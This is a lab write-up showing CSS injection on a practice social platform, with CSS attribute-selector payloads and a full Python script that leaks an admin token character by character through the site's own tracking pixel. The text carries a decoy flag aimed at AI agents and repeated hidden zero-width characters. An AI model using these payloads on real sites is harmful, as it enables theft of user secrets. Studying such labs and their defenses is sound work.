← Back to Writeups
CUSTOMMediumWeb

Lab 200 — PixelVibe — CSS Injection via Custom Profile Themes

XESXOR9/2/20266 min read
#web#custom#medium#character_by_character_exfiltr#csp_self_bypass_via_tracking_p#css_attribute_selector_exfiltr#style_tag_injection

Lab 200 — PixelVibe — CSS Injection via Custom Profile Themes

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: character_by_character_exfiltration, csp_self_bypass_via_tracking_pixel, css_attribute_selector_exfiltration, style_tag_injection

Summary

Walkthrough of the CUSTOM Web Lab 200 — PixelVibe — CSS Injection via Custom Profile Themes. Task: Social platform with custom CSS profile themes rendered in unsanitized <style> tags; CSP blocks scripts and external images but allows inline styles. Solution: CSS attribute selector exfiltratio

Description

PixelVibe is a social networking platform built by PixelVibe Labs where users create richly customizable profiles. The platform features a social feed with posts and likes, direct messaging, profile analytics with tracking pixels, and a unique profile theming system that lets users style their pages with custom CSS. Your goal is to find and exploit a client-side vulnerability to steal a secret token from the admin user. The admin periodically reviews reported profiles. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A social networking platform where users can customize their profile pages with arbitrary CSS. The goal is to exploit the CSS injection to exfiltrate a secret token from the admin user who visits reported profiles via an admin bot.

Credentials: user@test.com / password123 Target: https://299b4577-89ef-4de0-bd6a-8aafceead192.labs.hackadvisor.io/

Analysis

Platform Reconnaissance

After logging in with the provided credentials, the platform presents:

  • Social feed with posts and likes
  • Direct messaging system
  • Profile analytics with a tracking pixel feature (/analytics)
  • User search functionality
  • Profile settings (/settings) with a "Custom Theme CSS" textarea
  • Public profiles at /profile/USERNAME
  • Report feature at /report/USERNAME — triggers an admin bot to visit the reported profile ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

CSP Analysis

The Content-Security-Policy header:

default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self'

Key observations:

  • script-src 'self' — blocks inline scripts and external script loads → no XSS via <script> tags
  • style-src 'unsafe-inline' — allows inline CSS → CSS injection is viable
  • img-src 'self' — blocks external image loads → cannot exfiltrate to attacker-controlled server via background-image: url(https://evil.com/...)
  • Need a same-origin exfiltration channel that accepts arbitrary data in URL parameters ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

CSS Injection Vector

The Profile Settings page has a "Custom Theme CSS" textarea. The input is rendered inside a raw <style> tag in the <head> of the public profile page (/profile/testuser). No sanitization is applied. The <style> tag can even be escaped with </style> to inject arbitrary HTML into the <head>.

Decoy Flag Trap

Every page contained a hidden HTML comment and div with a fake flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} designed to trick automated scanners and AI agents. This was identified and ignored. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Admin Bot & Report Feature

Visiting another user's profile shows a "Report" button linking to /report/USERNAME. POSTing to /report/testuser triggers an admin bot to visit the reported profile within minutes.

Discovering the Token Location

Used CSS probing to detect hidden elements. Set custom CSS:

css
[data-token] { background-image: url(/api/analytics/track?u=testuser&ref=data-token-exists); }

After reporting the profile and the admin visiting, the analytics page showed a tracking hit with ref data-token-exists, confirming a data-token attribute exists on an element visible only when the admin views the profile. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

CSP Self-Bypass via Tracking Pixel

Since img-src 'self' blocks external URLs, the platform's own tracking pixel endpoint was used as the exfiltration channel:

/api/analytics/track?u=testuser&ref=DATA

This endpoint:

  • Is on 'self' → passes CSP img-src check
  • Accepts arbitrary ref parameter values
  • Logs the ref parameter to the user's analytics dashboard (visible at /analytics)

Solution

Step 1: CSS Attribute Selector Exfiltration Strategy

CSS [data-token^='PREFIX'] attribute selectors test whether an attribute starts with a given prefix. By generating one CSS rule per possible next character, the browser evaluates all selectors and triggers a background-image load only for the matching prefix — logging the discovered character via the tracking pixel. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

For each position, 65 CSS rules are generated (one per possible character):

css
[data-token^='FLAG{7a'] { background-image: url(/api/analytics/track?u=testuser&ref=p7_a); }
[data-token^='FLAG{7b'] { background-image: url(/api/analytics/track?u=testuser&ref=p7_b); }
...
[data-token^='FLAG{7}'] { background-image: url(/api/analytics/track?u=testuser&ref=p7_RBRACE); }

When the admin visits, the browser evaluates all selectors. The one matching the actual token prefix triggers a background-image load to the tracking pixel, logging the matched character. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Automated Extraction Script

The script loops through each character position:

  1. Generates CSS rules for the next unknown character
  2. Uploads CSS via POST to /settings
  3. Reports the profile via POST to /report/testuser
  4. Waits ~10-15 seconds for the admin bot
  5. Reads the analytics page to find the new tracking hit
  6. Appends the discovered character and repeats
python
#!/usr/bin/env python3
import subprocess, time, re, sys

BASE = "https://299b4577-89ef-4de0-bd6a-8aafceead192.labs.hackadvisor.io"
COOKIES = "cookies.txt"
CHARS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-}"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def curl(args):
    cmd = ["curl", "-s", "-b", COOKIES] + args
    result = subprocess.run(cmd, capture_output=True, text=True, cwd=".")
    return result.stdout

def set_css(css):
    curl(["-X", "POST", f"{BASE}/settings",
          "--data-urlencode", "display_name=Jordan Lee",
          "--data-urlencode", "bio=Test",
          "--data-urlencode", "avatar_url=/images/default-avatar.png",
          "--data-urlencode", f"custom_css={css}", "-L"])

def report():
    curl(["-X", "POST", f"{BASE}/report/testuser"])
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def get_hits():
    html = curl([f"{BASE}/analytics"])
    return re.findall(r'pv-ref-data">([^<]+)', html)

def extract_char(known):
    pos = len(known) + 1
    tag = f"p{pos}"
    rules = []
    for c in CHARS:
        ref_c = c if c != "}" else "RBRACE"
        rules.append(f"[data-token^='{known}{c}'] {{ background-image: url(/api/analytics/track?u=testuser&ref={tag}_{ref_c}); }}")
    set_css("\n".join(rules))
    report()
    for attempt in range(3):
        time.sleep(10)
        hits = get_hits()
        for hit in hits:
            if hit.startswith(f"{tag}_"):
                val = hit[len(f"{tag}_"):]
                return "}" if val == "RBRACE" else val
    return None
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

known = sys.argv[1] if len(sys.argv) > 1 else "FLAG{"
print(f"Starting from: {known}")
for i in range(40):
    print(f"Extracting position {len(known)+1}...", flush=True)
    c = extract_char(known)
    if c is None:
        print(f"No char found at position {len(known)+1}. Retrying once more...")
        c = extract_char(known)
    if c is None:
        print("Failed. Stopping.")
        break
    known += c
    print(f"  Found '{c}' -> {known}", flush=True)
    if c == "}":
        print(f"\n*** COMPLETE FLAG: {known} ***")
        break
print(f"\nFinal: {known}")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The script extracted the full 32-character hex token across ~30 rounds:

FLAG{REDACTED}

Defense Recommendations

  • Sanitize CSS input: whitelist allowed properties and selectors, strip anything that doesn't match safe patterns
  • Never render user CSS inside raw <style> tags — use a CSS parser/sanitizer library (e.g., DOMPurify for HTML, css-tree for CSS)
  • Don't expose sensitive tokens in HTML attributes — use HttpOnly cookies or server-side sessions
  • Add nonce or hash to CSP for styles instead of 'unsafe-inline'
  • Rate-limit the tracking pixel endpoint to prevent rapid exfiltration
  • Don't allow the tracking pixel to be triggered by CSS background-image from the same profile ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering character_by_character_exfiltration, csp_self_bypass_via_tracking_pixel, css_attribute_selector_exfiltration, style_tag_injection was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-05 • CUSTOM • Lab 200 — PixelVibe — CSS Injection via Custom Profile Themes • Difficulty: Medium